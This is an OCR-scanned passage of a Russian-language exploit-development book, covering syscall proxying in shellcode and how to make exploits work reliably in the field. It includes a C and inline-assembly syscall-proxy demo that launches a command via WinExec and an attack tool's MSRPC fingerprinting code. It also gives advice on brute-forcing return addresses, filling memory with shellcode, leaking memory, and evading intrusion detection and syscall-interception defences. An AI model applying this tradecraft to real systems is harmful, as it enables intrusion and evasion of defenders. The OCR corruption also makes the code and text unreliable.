334 Глава 17. Альтернагивмые Сфатегии посредником доступа к потоку данных и организации параллельного много- поточного доступа. Такое решение довольно тяжело реализовать. Несмотря на все перечисленные недостатки, опосредованный вызов по-прежнему является самым динамичным способом использования любых дефектов, связанных с применением внедряемого кода, и вполне заслуживает внимания. В ближайшие годы следует ожидать появления многочисленных решений, основанных на опосредованном вызове. Интереса ради давайте спроектируем и реализуем небольшую систему опосредованного вызова для платформы Windows. За образец в нашем решении будет взята IDL-архитектура, потому что она лучше подходит для функций Windows API и помогает определить способ обработки возвращаемых данных. Сначала нужно подумать о том, как внедряемый код будет распаковывать параметры для вызываемой функции. Предполагается, что у нас уже есть заголовок, содержащий описание вызываемой функции и другие данные (например, флаги или что-нибудь в этом роде; не будем задерживаться на этом сейчас). Также потребуется список параметров с данными. Вероятно, в него также следует включить некоторые флаги. Примерный вид данных после продвижения можно оценить по табл. 17.2. Таблица 17.2. Общая структура опосредованного вызова Заголовок tbl Запись списка параметров DLLName FunctionName ParameterCount . .<флаги> .. <флаги> . Размер Данные (для входных или входных/выходных параметров) Чтобы формализовать эту задачу, проще всего представить, какие вызовы будут использоваться в программе, и проанализировать списки параметров. Несомненно, потребуются операции создания и открытия файлов. HANDLE CreateFile( LPCSTR lpFileName, // Указатель на имя файла DWORD dwDesiredAccess. // Режим доступа (чтение/запись) LPSECURITY_ATTRIBUTES IpSecuntyAttnbutes. // Указатель на атрибуты безопасности DWORD dwCreationDisposition, // Режим создания DWORD dwFlagsAndAttnbutes. // Атрибуты файла HANDLE hTemplateFile // Идентификатор файла с копируемыми // атрибутами }• Итак, имеется указатель на строку, завершенную нулем (в ASCII или Unicode), за которой следует литерал DWORD. Мы оказываемся перед первой проблемой: необходимо различать литералы (данные) и ссылки (указатели на данные) Бу-
Опосредованный вызов системных функций 335 дем использовать для этой цели флаг IS_PTR. Если флаг установлен, значит, параметр должен передаваться функции как указатель на данные, а не как литерал. Это означает, что перед вызовом функции в стек заносится адрес данных, а не сами данные. Будем считать, что в списке также будет передаваться длина каждого параметра; это позволит передавать структуры в качестве входных данных, как это сделано в параметре IpSecurityAttributes. Передавая флаг указателя и размер данных в дополнение к самим данным, мы уже можем вызвать CreateFile. Впрочем, существует небольшое затруднение; вероятно, возвращаемое значение должно как-то обрабатываться в программе. Наверное, для этого в список следует добавить специальный параметр. Функция CreateFile возвращает значение типа HANDLE D-байтовое целое без знака), то есть данные, а не указатель на них. Но если мы определяем все параметры функции как входные, и только возвращаемое значение как выходной параметр, то функция никогда не сможет вернуть ничего, кроме одного возвращаемого значения. Проблема решается определением двух дополнительных флагов для списка параметров: о IS_IN — параметр содержит данные, передаваемые функции; о IS_0UT — параметр содержит данные, возвращаемые функцией. Наличие этих двух флагов также решает проблему с параметрами, которые одновременно являются входными и выходными, такими как параметр IpcbData в следующем прототипе: LONG RegQueryValueEx( HKEY hKey. // Идентификатор раздела LPTSTR IpValueName, // Адрес имени параметра реестра LPDWORD IpReserved, // Зарезервировано LPDWORD IpType. // Адрес буфера для типа параметра LPBYTE IpData, // Адрес буфера данных LPDWORD IpcbData // Адрес размера буфера данных ): Функция RegQueryValueEx интерфейса Win32 API используется для выборки данных из раздела в реестре Windows. На входе параметр IpcbData указывает на двойное слово с длиной буфера данных, в который должно быть помещено прочитанное значение. На выходе он содержит длину данных, скопированных в буфер. Проведем краткую проверку других прототипов: BOOL ReadFileC HANDLE hFile, // Идентификатор файла для чтения LPVOID lpBuffer, // Указатель на буфер для данных DWORD nNumberOfBytesToRead. // Количество читаемых байтов LPDWORD IpNumberOfBytesRead. // Указатель на число прочитанных байтов LPOVERLAPPED 1pOverlapped // Указатель на структуру ). Все нормально — мы можем задать выходной буфер произвольного размера, да и с другими параметрами проблем не будет.
336 Глава 17. Альтернативные стратегии У выбранного способа упаковки параметров есть одно полезное свойство: при вызове Read File не нужно пересылать по каналу все 1000 байт входного буфера — достаточно указать, что передается параметр IS_0UT, размер которого равен 1000 байт. Таким образом, для чтения 1000 байт мы передаем всего 5 байт, а не 1005. Чтобы найти функцию, которую не удастся вызвать с использованием описанного механизма, придется основательно потрудиться. Например, проблемы могут возникнуть с функциями, которые выделяют буферы и возвращают указатели на них. Допустим, имеется следующая функция: MyStruct *GetMyStructure(); В принципе можно было бы установить для возвращаемого значения флаги IS_PTR и IS_0UT и указать размер sizeof(struct MyStruct); мы получим данные в возвращаемой структуре MyStruct, но тогда у нас не будет адреса структуры для последующего вызова free(). Давайте подправим данные возвращаемого значения так, чтобы при возвращении указателя также возвращался литерал. При таком решении мы будем всегда сохранять дополнительные 4 байта для возвращаемого значения-литерала независимо от того, является оно литералом или нет. Поправка решает большинство проблем, но некоторые все же остаются. Рассмотрим следующее объявление: char *asct"ime(const struct tin *timeptr ), Функция asctime() возвращает завершенную нулем строку, максимальная длина которой составляет 24 байта. Для этого случая тоже молено было бы внести поправку и потребовать, чтобы для каждого возвращаемого строкового буфера, завершенного нулем, указывался размер. Но такое решение потребует пересылки лишних данных, поэтому мы определим флаги IS_SZ (указатель на буфер, завершенный нулевым байтом) и IS_SZZ (указатель на буфер, завершенный двумя нулевыми байтами — например, строку Unicode). Посредник должен работать по следующей схеме: 1. Получить имя библиотеки DLL, содержащей функцию. 2. Получить имя функции. 3. Получить количество параметров. 4. Получить объем данных, резервируемых для выходных параметров. 5. Получить флаги функций (конвенции вызова и т. д.). 6. Получить параметры: • получить флаги параметров (ptr, in, out, sz, szz); • получить размер параметров; • получить данные параметров (для in или inout); • занести в стек значение параметра (кроме ptr); • занести в стек указатель на данные (для ptr); • уменьшить счетчик; если параметры еще остались, продолжить обработку.
Опосредованный вызов сисюмных функций 337 /. Вызвать функцию. Н Вернуть выходные данные. Мы разработали общую архитектуру посредника, подходящую практически для любой функции Win32 API. Преимущество нашего механизма состоит в том, •и о он хорошо справляется с возвращаемыми данными и повышает эффективность пересылки за счет применения концепции входных/выходных данных. К' недостаткам следует отнести необходимость указания прототипа для каждой вызываемой функции в IDL-подобном формате (впрочем, это не так уж сущест- нгнпо; вряд ли потребуется вызывать более 40 или 50 функций). И следующем листинге представлена слегка усеченная версия реализации посредника во внедряемом коде. Для нас интерес представляет секция AsmDemar- shaUAndCall. Мы вручную выполняем те операции, которые должны выполняться программой автоматически: получение адресов LoadLibrary и GetProcAddress и сохранение ссылки на начало полученного потока данных в ЕВХ. // rsc.c // Простой механизм удаленного вызова системных функций Windows #include <windows h> #include <stdio h> #include <stdlib h> #include <string h> int Marshall( unsigned char flags, unsigned size, unsigned char *data. unsigned char *out. unsigned outjen ) { out[0] = flags, ^((unsigned *)(&(out[l]))) = size. memcpy( &(out[5]). data, size ). return size + 5. } ///////////////////////////// // Флаги параметров 111111111 ///////////////////////////// II Параметр содержит указатель на данные, а не сами данные #define IS PTR 0x01 // Любой параметр может быть входным (in), выходным (out) // или комбинированным (in | out) #define IS_IN 0x02 #define IS_0UT 0x04 // Данные, завершаемые нулевым байтом #define IS_SZ 0x08 // Данные, завершаемые двумя нулевыми байтами (например, строка Unicode) #define IS SZZ 0x10
33В Глава 17. Алыорна1ивные стратегии //////////////////////////// // Флаги функций 1111111111 IIIIIIIIIIIIIIIIIIIIIIIIIIII II Функция использует конвенцию cdecl (умалчиваемой // конвенцией является stdcall) #define FN_CDECL 0x01 int AsmDemarshallAndCalK unsigned char *buff, void *loadlib, void *getproc \ II Параметры: // ebp Имя DLL (dllname) // +4 • Имя функции (fnname) // +8 Количество параметров // +12 Размер выходных параметров // +16 • Флаги функции // +20 • Счетчик параметров // +24 LoadLibrary // +28 GetProcAddress // +32 Адрес буфера данных _asm I // Подготовка параметров несколько усложняется тем фактом. // что вызываемая функция содержит встроенный ассемблерный код push ebp sub esp. 0x100 mov ebp, esp mov ebx, dword ptr[ebp+0xl58]; // buff mov dword ptr [ebp + 12]. 0; mov eax. dword ptr [ebp+0xl5c].//loadlib mov dword ptr[ebp + 24]. eax. mov eax. dword ptr [ebp+0x!60].//getproc mov dword ptr[ebp + 28]. eax; mov dword ptr [ebp]. ebx. // ebx = dllname sub esp. 0x800. // Зарезервировать память mov dword ptr[ebp + 32]. esp. jmp start. // Увеличивать ebx до обнаружения байта '0' skip_stnng mov al. byte ptr [ebx], cmp al. 0; jz done_string; inc ebx. jmp skip_string, done_stnng
Опосредованный вызов сисгомных функций 339 inc ebx. ret. ',1 art // Пропустить имя dll call skip_stnng, // Сохранить имя функции mov dword ptr[ ebp + 4 ], ebx // Пропустить имя функции call skip_stnng, // Сохранить число параметров mov ecx, dword ptr [ebx] mov edx. ecx mov dword ptr[ ebp + 8 ]. ecx // Сохранить размер параметра add ebx.4 mov ecx. dword ptr [ebx] mov dword ptr[ ebp + 12 ], ecx // Сохранить флаги функции add ebx.4 mov ecx. dword ptr [ebx] mov dword ptr[ ebp + 16 ]. ecx add ebx.4 // В этом цикле edx содержит количество оставшихся параметров next_param cmp edx. 0 je call_proc mov cl. byle ptr[ ebx ]. // cl - flags inc ebx, mov eax, dword ptr[ ebx ]. // eax = size add ebx 4. mov ch.cl. and cl. 1. // Указатель ? jz not_ptr. mov cl,ch. // Указатель на 'in' или 'inout' 7 and cl, 2. jnz is_ln. // Значит, эю 'out' // Получть текущий указатель на данные mov ecx. dword ptr [ ebp + 32 ] pusn ее/
340 Глава 17. Альтернат ииные стратегии // Установить указатель в конец буфера данных add dword ptr [ ebp + 32 ]. eax add ebx. eax dec edx jmp next_param i s_i n • push ebx // Параметр относится к типу 'in' или 'mout' // Это означает, что данные содержатся в принятом пакете add ebx, eax dec edx jmp next_param not_ptr mov eax. dword ptr[ ebx ]; push eax; add ebx. 4 dec edx jmp next_param; call_proc // Подготовка параметров завершена. Можно вызывать фу| mov eax, dword ptr[ ebp ], push eax; mov eax, dword ptr[ ebp + 24 ]; call eax; mov ebx. eax. mov eax. dword ptr[ ebp + 4 ]; push eax; push ebx. mov eax. dword ptr[ ebp + 28 ]; call eax. // GetProcAddress call eax, // Вызов нашей функции // Уборка add esp, 0x800; add esp. 0x100; pop ebp } return 1; } int ma~m( int argc. char *argv[] ) { unsigned char buff[ 256 ], unsigned char *psz, DWORD freq = 1234. DWORD dur = 1234. DWORD show = 0. HANDLE hk32. void *loadlib. *getproc. char *cmd = "cmd /c dir > с Wfoo txt".
Итоги 341 psz = buff; strcpy( psz, "kernel32 dll" ). psz += strlerK psz ) + 1, strcpy( psz, "WinExec" ); psz += strlen( psz ) + 1; *((unsigned *)(psz)) = 2, // Количество параметров psz += 4, *((unsigned *)(psz)) = strlen( cmd ) + 1. // Размер параметра psz += 4, // Флаги ^((unsigned *)(psz)) = 0; psz += 4; psz += Marshall( IS_IN. sizeof( DWORD ). (unsigned char *)&show, psz, sizeofC buff ) ). psz += Marshall( IS_PTR j IS_IN, strlenC cmd ) + 1. (unsigned char *)cmd. psz. sizeof( buff ) ). hk32 = LoadLibrary( "kernel32 dll" ); loadlib = GetProcAddress( hk32. "LoadLibraryA" ); getproc = GetProcAddress( hk32, "GetProcAddress" ). AsmDemarshallAndCalK buff, loadlib, getproc ). return 0, } Представленная программа решает не особо интересную задачу: она восстанавливает параметры и вызывает функцию WinExec для создания файла в корневом каталоге диска С. Тем не менее, эта программа работает и демонстрирует описанную методику. Центральная часть кода занимает немногим более 128 байт. Даже после добавления вспомогательного кода все решение требует менее 500 байт. Итоги В этой главе рассмотрена методика модификации кода на стадии выполнения. Вместо создания простого внедряемого кода, работающего методом обратного подключения и легко выявляемого системами обнаружения вторжений (IDS), незаметная модификация работающего кода становится отличным испытанием на умение скрытно проникнуть в систему. Также подробно описана концепция опосредованного вызова, потому что, скорее всего, в будущем большая часть внедряемого кода будет создаваться именно на основе опосредованного вызова.
ГЛАВА 18 Реальные условия, реальные проблемы У каждого дефекта есть своя история. Дефекты рождаются, живут и умирают, нередко так и оставаясь скрытыми и неиспользованными. Для хакера любой дефект открывает прекрасный случай создать код «магического заклинания», которое превращает уязвимую стену в дверь. Но одно дело - создать решение для лабораторной среды и совсем другое — для электронных джунглей современного Интернета. Эта глава посвящена решениям для реальных условий. Факторы ненадежности В этой части главы рассматриваются различные причины, из-за которых ваше решение может не работать в реальных условиях. Впрочем, вас не должно пугать обилие возможных проблем — как говорится, «даже слепая курица иногда находит зерно». Волшебные числа Некоторые уязвимости (такие, как переполнение стека RealServer, описанное в главе 12) поддаются надежной эксплуатации. Другие (скажем, дефект двойного вызова функции free() в dtlogin) практически невозможно эксплуатировать сколько-нибудь стабильно. Тем не менее, судить о надежности решения можно только после того, как вы попытаетесь применить его на практике. Кроме того, эксплуатация все более и более сложных уязвпмостей является единственным способом освоения новых методов. Сколько бы вы ни читали о том или ином приеме, вы никогда не научитесь реально его применять Исходя из этого, следует всегда прикладывать дополнительные усилия к тому, чтобы ваши решения работали как можно надежнее. Иногда решение стабильно работает в лаборатории, но только на 50 % срабаплваег в реальных условиях; тогда, чтобы повысить надежность, его часто приходится переписывать заново. Может оказаться, что первая версия кода, написанного для конкретной уязвимости, работаем только на вашем компьютере Обычно это говориi о том, что в коде были жестко закодированы некоторые важные значения (скорее всего, адрес возврата или адрес geteip) Когда представляется возможность заменить
Факторы ненадежности 343 указатель на функцию или сохраненный адрес возврата, управление надо ку- да-то передать. Конкретный адрес передачи может зависеть от многих факторов, лишь часть из которых находится под вашим контролем. В контексте данной главы мы назовем подобную ситуацию одгюфакториым эксплойтом (опе- laclor exploit). Также в коде может иметься место, по которому находится указатель на строку. I [.елевая программа использует этот указатель перед тем, как вы берете ее под свой контроль. Для предотвращения сбоев этот указатель (часть атакующей с i роки) необходимо установить на некоторое безопасное место в памяти. Этот шаг создает второй фактор, необходимый для успешной эксплуатации уязвимости. большинство простых эксплойтов являются одно- и двухфакторными. Например, эксплойт, реализующий простейшее удаленное переполнение стека, обычно является однофакторным — вы должны лишь правильно задать адрес внедряемого кода в памяти. Но с переходом к эксплойтам, основанным на переполнении кучи, которые обычно являются двухфакторными, приходится искать пути к снижению степени хаоса в системе. Версии При эксплуатации уязвимостей в реальных условиях возникает одна важная проблема: вы далеко не всегда знаете, какие программы работают па атакуемом компьютере. Возможно, это окажется компьютер с Windows 2000 Advanced Server, как в вашей лаборатории; а может быть, па нем работает ColdFusion и происходят постоянные перемещения в памяти. Нельзя исключать и того, что на нем установлена версия Windows 2000 для упрощенного китайского письма. На компьютере могут быть установлены любые обновления вплоть до последней версии Service Pack; может оказаться, что некоторые из них устанавливались вручную, причем, возможно, некорректно. С другой стороны, удаленный хост может работать под управлением Linux для платформы Alpha или иметь SMP-архитектуру. Многие опубликованные уязвимости Microsoft RPC Locator не работают на компьютерах SMP-архитектуры и в системах с процессором Хеоп, которые Windows считает двухпроцессорными. Такие проблемы очень трудно решить в удаленном режиме. Кроме того, при эксплуатации уязвимостей, основанных на повреждении кучи, возникают проблемы, не позволяющие другим пользоваться атакуемой службой. Еще одна распространенная проблема переполнения кучи заключается в том, что заменяемые указатели на функции зависят от конкретной версии hbc. Так как в разных версиях Linux используются разные версии libc, это означает, что решение должно быть привязано к конкретному дистрибутиву Linux. К сожалению, ни один дистрибутив не завоевал доминирующего положения, поэтому жестко закодировать эти значения не так просто, как в случае с Windows или коммерческими версиями Unix. Помните, что многие поставщики выпускают разные версии Unix с о/динаковы- ми номерами версий. Ваша версия Solaris 8 CD может отличаться от другой
344 Глава 18. Реальные услоиии, роальмые проблемы версии Solaris 8 CD, если они приобретались в разное время. В вашей иереиЦ могут быть установлены заплатки, отсутствующие в другой версии, и наоборот^ Проблемы с внедряемым кодом Некоторые программисты тратят целые недели на написание собственного внедряемого кода. Другие используют пакеты от Packetstorm (http://packetstorm* org). Но каким бы хитроумным ни был ваш внедряемый код, он все равно оста* ется программой, написанной на ассемблере и выполняемой в нестабильной среде. Это означает, что причины неудач часто кроются в самом внедряемом коде. В лаборатории атакующий и атакуемый компьютеры подключены к одному! концентратору Ethernet. Но в реальных условиях цель может находиться па другом континенте под контролем другого администратора, который настроил свою сеть по собственному вкусу. В частности, он может назначить размер MTU (Maximum Transmission Unit — максимальная единица передачи) равным 512, блокировать ICMP, поддерживать фильтрацию на брандмауэре или создавать вам иные проблемы. Проблемы с внедряемым кодом можно разделить на несколько категорий. Сетевые проблемы Размер MTU и маршрутизация могут стать серьезным источником проблем для внедряемого кода. Иногда вы атакуете один IP-адрес, а ответ приходит с другого IP-адреса или интерфейса. Еще одной распространенной проблемой является выходная фильтрация. Если переданный внедряемый код не может связаться с вами из-за фильтрации, он должен корректно завершить свою работу. Возможно, в него стоит включить код обратной связи через UDP- и ICMP-порт. Проблемы привилегий В Windows программный поток может не обладать привилегиями, необходимыми для загрузки ws2_32.dll. Обычное решение в таких ситуациях — перехватить поток, с которого производился вход, и считать, что библиотека ws2_32.dll уже загружена, или вызвать RevertToSelf(). Аналогичные проблемы с привилегиями возникают и в некоторых версиях Linux (SELinux и т. д.). В отдельных редких случаях вам может быть запрещено подключаться к соке- там или прослушивать порты. В подобных ситуациях можно перехватить контроль над выполнением исходной программы (например, отключить нормальную аутентификацию целевого процесса, изменить файл, из которого осуществляется чтение, дополнить список пользователей и т. д.) или найти другой способ, при помощи которого внедряемый код сможет повысить свой уровень доступа без содействия извне. Проблемы конфигураций Неверная идентификация операционной системы может привести к тому, что внедряемый код окажется неправильным или будут использованы ошибочные
Контрмеры 345 адреса возврата. В удаленном режиме трудно отличить Alpha Linux от SPARC I.in их; может быть, проще всего опробовать оба варианта. 1-сли целевой процесс находится под воздействием chroot, файл /Ып/sh может и не существовать. Это еще одна веская причина, чтобы не использовать стандартный внедряемый код exeve (/bin/sh). Иногда база стека меняется в зависимости от типа процессора. Кроме того, не нее команды действительны на всех типах процессоров. Например, может оказаться, что целевая система работает на старом чипе Alpha, а внедряемый код котировался только на новом чипе. А может быть, новый атакуемый компыо- icp содержит большой кэш команд, который не был очищен во время атаки. Проблемы IDS-xoctob Технологии Chroot, LIDS, SELinux, BSD jail(), gresecurity, Papillion и другие вариации на эти темы могут создать проблемы для внедряемого кода па многих уровнях. По мерс того, как эти технологии становятся все более популярными, ожидайте, что вам придется иметь с ними дело во внедряемом коде. Узнать, помешают они вам или нет, можно только одним способом — установить их и попробовать. Okena и Entercept перехватывают вызовы системных функций и сравнивают их с вызовами, которые обычно используются в данном приложении. Возможны два решения: имитировать нормальное поведение приложения и стараться но возможности держаться в его рамках, или попытаться самостоятельно победить механизм перехвата. Если вы эксплуатируете уязвимость ядра, настало время делать это прямо из внедряемого кода. Проблемы программных потоков При переполнении кучи другой программный поток может активизироваться для обработки запроса и попытаться вызвать free() пли maUoc(). Так как управляющие структуры кучи испорчены, ;ло приведет к аварийному завершению процесса. Другой поток может наблюдать за тем, чтобы ваш поток завершился в положенное время. Если поток перешел под ваш контроль, процесс-наблюдатель может «убить» его для восстановления нормальной работы. Попробуйте проверить наличие синхронизирующих потоков во внедряемом коде и имитировать их сигналы, если это возможно. Может оказаться, что работа эксплойта зависит от адреса возврата, действительного только для одного потока; обычно это свидетельствует о недостаточном тестировании. Контрмеры Нестабильность приложения пли его полный отказ может объясняться многими причинами. Тем не менее, существует много способов решить возникшие проблемы. Важно помнить, что вы пишете приложение, которого по идее существовать не должно; оно появляется па свет только из-за дефектов в других
программах. В процессе работы над внедряемым кодом следует постоянно ие« кать альтернативные средства решения возникающих проблем. Если вы не уверены, задайте себе вопрос: «А что бы на моем месте сделал Джон МакДо- нальд?» Далее приводится выдержка из журнала «Phrack» (номер 60, декабри 2002 г.), характеризующая его философию. Помните его слова всегда, когда у вас возникнут проблемы. Корреспондент: В прошлом вы нашли немало дефектов в программах и написали код для их эксплуатации. Некоторые уязвимости требовали новых нестандартных концепций, неизвестных в то время. Что заставляет вас заниматься эксплуатацией сложных дефектов и какие методы вы использовали? Джои МакДональд: Мои мотивы изменялись со временем. Я мог бы привести несколько второстепенных причин, которые управляли моими поступками на разных этапах моей жизни; среди них были как эгоистические, так альтруистические. Но мне кажется, что на самом деле все сводится к желанию докопаться до сути происходящего. Что касается методов, я стараюсь действовать систематично. Я выделяю большую часть времени на чтение программы, пытаясь разобраться в ее архитектуре, понять подход автора и используемые им приемы. Это также помогает настроить мое подсознание в нужном направлении. Я обычно начинаю с нижних уровней программы или системы и поиска любых потенциально неожиданных аспектов поведения, которые могут переходить на верхние уровни. Я документирую каждую функцию и анализирую все потенциальные проблемы, которые в ней есть. Время от времени я отрываюсь от документации и занимаюсь куда более интересным делом, проверяя свои теории и выясняя возможность их практического применения. В том, что касается написания кода, я обычно стараюсь свести к минимуму или полностью ликвидировать все факторы, в которых требуется что-то угадывать. Если решение почти готово, но в какой-то момент дело застопоривается, попробуйте взглянуть на происходящее с новой точки зрения. Работайте «в стиле Ал- вара» — тратьте много времени в IDA Pro, подробно изучая точное местонахождение каждой ошибки и все, что программа делает после нее. Бомбардируйте программу сверхдлинными строками. Проанализируйте, что происходит в программе, когда она не «погибает» от вашей атаки. Возможно, удастся найти другой дефект, который будет работать надежнее. Часто полезно ознакомиться с методами эксплуатации уязвимостей, используемыми па других платформах. Методы эксплуатации уязвимостей для Windows могут пригодиться в Unix, и наоборот. Но даже если они и не пригодятся, возможно, они дадут вам вдохновение, необходимое для разработки качественного эксплойта. Подготовка Будьте готовы к чему угодно. Всегда держите под рукой стопку жестких дисков со всеми ОС на всех языках со всеми доступными обновлениями Service Pack и заплатками; будьте готовы к перекрестному сравнению адресов - возможно, потребуется узнать, какие адреса работают па всех целевых компьютерах. VMWarc окажет в этом неоценимую помощь, хотя иногда VMWare конфликту-
<ч с OlIyDbg. Поиск по базе данных всех возможных адресов также с.жономит время по сравнению с методом «грубой силы». Метод «грубой силы» Иногда для устойчивости приложения проще всего перебрать все возможные -волшебные числа». Если у вас имеется большой список потенциальных адресов возврата по ebx, возможно, стоит перебрать их все. Так или иначе, метод «грубой силы» часто является последней мерой, но по крайней мере это абсолютно законная полезная мера. впрочем, существует ряд трюков, благодаря которым вы избавитесь от лишних затрат времени и не оставите ненужных следов в журналах атакуемой системы. Определите, можно ли проверять сразу несколько адресов методом «грубой силы». Котируйте все действительные результаты, чтобы позднее их можно было проверить в первую очередь. Компьютеры одной сети часто настраиваются одинаковым образом, поэтому если ваша методика сработала один раз, вероятно, она сработает снова. Иногда отправка непомерно больших буферов с внедряемым кодом дает разумные шансы правильно попасть на «волшебное число». И если возможно, пытайтесь выявить связи между «волшебными числами». Если вы знаете, что один необходимый адрес всегда находится рядом с другим, это значительно облегчит вашу работу по сравнению с поиском полностью независимых адресов. Утечка памяти также часто упрощает метод «грубой силы». Иногда для заполнения памяти внедряемым кодом даже не требуется реальной утечки памяти. Например, в уязвимости I IS ColdFusion от CANVAS создается 1000 подключений к удаленному хосту, каждое из которых пересылает 20 000 байт внедряемого кода п NOP. Эта процедура быстро заполняет память копиями внедряемого кода. Затем без отключения остальных сокетов производится переполнение кучи. Местонахождение внедряемого кода необходимо угадывать, по догадка почти всегда оказывается правильной, потому что большая часть памяти процесса заполнена копиями кода. Заполнение памяти процесса легко реализуется в случае многопоточпых процессов, таких как I IS. Даже если процесс не является многопогочпым, нужного результат часто удается добиться благодаря утечке памяти. А если найти утечку памяти не удастся, возможно, найдется стагическая переменная, которая содержит последний результат запроса и находится по одному и тому же адресу. Если просмотреть всю программу в поисках операций, которыми можно манипулировать для достижения подобных целей, почти всегда найдется что-нибудь полезное. Локальные решения Ненадежность локального эксплойта ничем оправдать нельзя. Под вашим контролем находится практически все - пространство памяти, сигналы, содержимое диска и местонахождение текущего каталога. Многие разработчики при разработке локальных эксплойтов создают себе слишком много проблем. Если локальный :жсплойт работает не в 100 % случаен, скорее всего, его создавал новичок. Например, при организации простого переполнения локального буфера для платформ Linux/Unix используйте функцию exeveQ, чтобы выяснить окружение
348 Глава 18. Реальные условия, реальныо проблемы целевого процесса. После этого вы сможете точно определить местонахожденЦ внедряемого кода в памяти и реализовать атаку (скажем, возврата в libc) 6e;i Kl ких-либо предположений. Лично мы предпочитаем выполнить во.шрш в strcpy(), скопировать внедряемый код в кучу и выполнить его там. Для опром ления адреса strcpy() используются функции dlopen() и dlsym(). Такие ухищреии! повышают устойчивость ваших решений в условиях реальной эксплуатации. Как указал наш соавтор Синан Эрен (известный в узких кругах как noir), npi атаке ядра возможно отображение памяти на любой адрес, что позволяет уст| новить адрес возврата непосредственно на начало внедряемого кода (другим! словами, при реализации локальной атаки ядра адрес 0x00000000 может быт; совершенно нормальным адресом возврата). Идентификация ОС и приложения Информация, получаемая программами Nmap или Xprobe, не всегда дает пол) ную картину. При эксплуатации уязвимости приложения одной лишь верси|( операционной системы недостаточно. Также необходимо знать следующее: о архитектура (x86/SPARC/o,pyrne); о версия приложения; о конфигурация приложения; о конфигурация операционной системы (неисполняемый стек/РаХ/др.). Нередко идентификация операционной системы оказывается абсолютно бесио» лезной, потому что происходит перенаправление с одного хоста на другой. А может быть, вам просто нельзя передавать пакеты идентификации ОС на хост, чтобы не привлекать внимания систем IDS, прослушивающих сеть. Таким образом, для написания надежного решения часто приходится искать уникальные способы идентификации удаленного хоста, не выходящие за рамки обычного трафика. Всегда лучше всего проводить идентификацию на том же порте, через который будет проводиться атака. Рассмотрим реальный пример, задействованный в эксплойте CANVAS MSRPC. Простое использование порта 135 (целевой службы) позволяет получить информацию об операционной системе. Сначала мы отделяем ХР и Windows 2003 от NT 4.0 и Windows 2003. Затем 2003 отделяется от ХР (эта полезная функция здесь не показана), a Windows 2000 отделяется от NT 4.O. Функция использует общедоступные интерфейсы на порте 135 (TCP); конечно, это хорошо, потому что другие открытые порты могут отсутствовать. При выборе этой методики удается определить платформу всего несколькими подключениями. def runTest(self) UUID2K3="ldb5b526-cl37-46c5-ab79-638f2a68e869" callid-1 error.s=msrpcbind(UUID2K3.1.0.self host.self port.callid) if error==0 errstr="Could not bind to the msrpc service for 2K3.XP - assuming NT 4 or Win2K" self log(errstr) else if self testFor2003() # Простая проверка здесь не приводится
Контрмеры 349 self setVersionA5) self log( "Test indicated connection succeeded to msrpc service.") self.log("Attacking using version %6: &s"%(self.version,self versions[self version][0])) return 1 self.setVersion(l) # По умолчанию Win2K или ХР UUID2K=00001a0-0000-0000-c000-000000000046" # Поддерживается только в 2К и выше callicKL error.s=msrpcbind(UUID2K,0,0,self host,self port.callid) if error==0 errstr="Could not bind to the msrpc service for 2K and above - assuming NT 4" self.log(errstr) self setVersionA4) #NT4 else self logCTest indicated connection succeeded to msrpc service ") self.log("Attacking using version %6. &s"Uself version,self versions[self version][0])) return 1 #Windows 2000 или ХР callid=0 #IRemoteDispatch UUID UUID=d9f4ab8-7dlc-llcf-861e-0020af6e7c57" error,s=msrpcbind(UUID.0.0.self host.self port.callid) if error==0 errstr="Could not bind to the msprc service necessary to run the attack" self log(err str) return 0 # Если привязка прошла успешно, считаем, что служба уязвима self logCTest indicated connection succeeded to msrpc service ") self.logCAttacking using version %d. Us"?(self version.self versions[self version][0])) return 1 Утечки информации Прошли те времена, когда атаки напоминали стрельбу неуправляемыми ракетами. В наши дни хороший разработчик ищет способы направить свою атаку точно в цель. Существуют различные методы получения информации от цели атаки (нередко с конкретных адресов памяти). Далее перечислены некоторые из них. о Чтение и интерпретация данных, передаваемых обьектом атаки. Например, MSRPC-пакеты часто содержат указатели, путем продвижения (marshalling) передаваемые прямо из памяти. По их значениям можно составить представление о структуре памяти целевого процесса. о Переполнение кучи для записи данных перед отправкой позволяет узнать, Где именно в памяти находится буфер. о Переполнение кучи в стиле frontlink() для записи адреса внутренних переменных malloc в данные перед отправкой при помощи несложных вычислений позволяет определить, где находятся указатели функции malloc.
о Перезапись поля длины часто позволяет получить содержимое больниц блоков серверной памяти (см. переполнение BIND TSIG). о Опустошения (underflow) и другие аналогичные атаки также могут исиольч зоваться для приема содержимого блоков памяти сервера. Аналитик FX щ группы Phenoelit успешно применял этот метод с эхо-пакетами при эксплуа^ тации уязвимости Cisco HTTPD. Его работа является блестящим примеров объединения двух решений для получения одного очень надежного peine* ния. Анализ временных меток также может дать пенную информацию об ошибках, происходящих при работе вашего кода. Был ли отправлен пакет сброса немедленно или только по прошествии тайм-аута? Алвар Флейк однажды сказал: «Хороший хакер не ограничивается одним дефектом». Утечка информации может открыть доступ к эксплуатации даже очень «трудных» дефектов. Итоги Допустим, вы пишете код атаки на веб-сервер Win32. По прошествии суток ваш эксплойт, реализующий простое переполнение стека, прекрасно работает пять раз из шести. В нем используется стандартная методика «замены структуры обработчика исключения». В свою очередь, это приводит к выполнению последовательности команд pop pop ret в сегменте .text. Но поскольку целевой процесс является многопоточным, иногда внедряемый код перезаписывается другим потоком, и атака завершается неудачей. Следовательно, код стоит переписать с гораздо меньшей строкой, обеспечивающей безопасный возврат из функции, и со временем получить контроль через сохраненный указатель возврата, находящийся на расстоянии в несколько кадров стека. Хотя данная методика ограничивает объем внедряемого кода, она работает гораздо надежнее. Этим примером мы хотели сказать, что в некоторых случаях нельзя полностью полагаться даже на очень надежные методы — иногда приходится тестировать несколько разных методов эксплуатации уязвимости, а затем опробовать каждый метод на как можно большем количестве тестовых платформ, пока не будет найдено оптимальное решение. Если работа заходит в тупик, попробуйте сделать строку атаки как можно длиннее или как *можпо короче; внедрите в нее символы, присутствие которых изменяет режим работы эксплойта. Если доступен исходный текст, попробуйте тщательно проанализировать перемещения данных в программе. Главное — не падайте духом. Работа в области безопасности требует большого терпения; ведь в успехе можно быть уверенным не ранее того момента, когда эксплойт наконец заработает. Уверяем, настойчивость окупится. Но в отдельных случаях вы никогда не узнаете, почему же ваш эксплойт так и не заработал в реальных условиях, и с этим придется смириться.
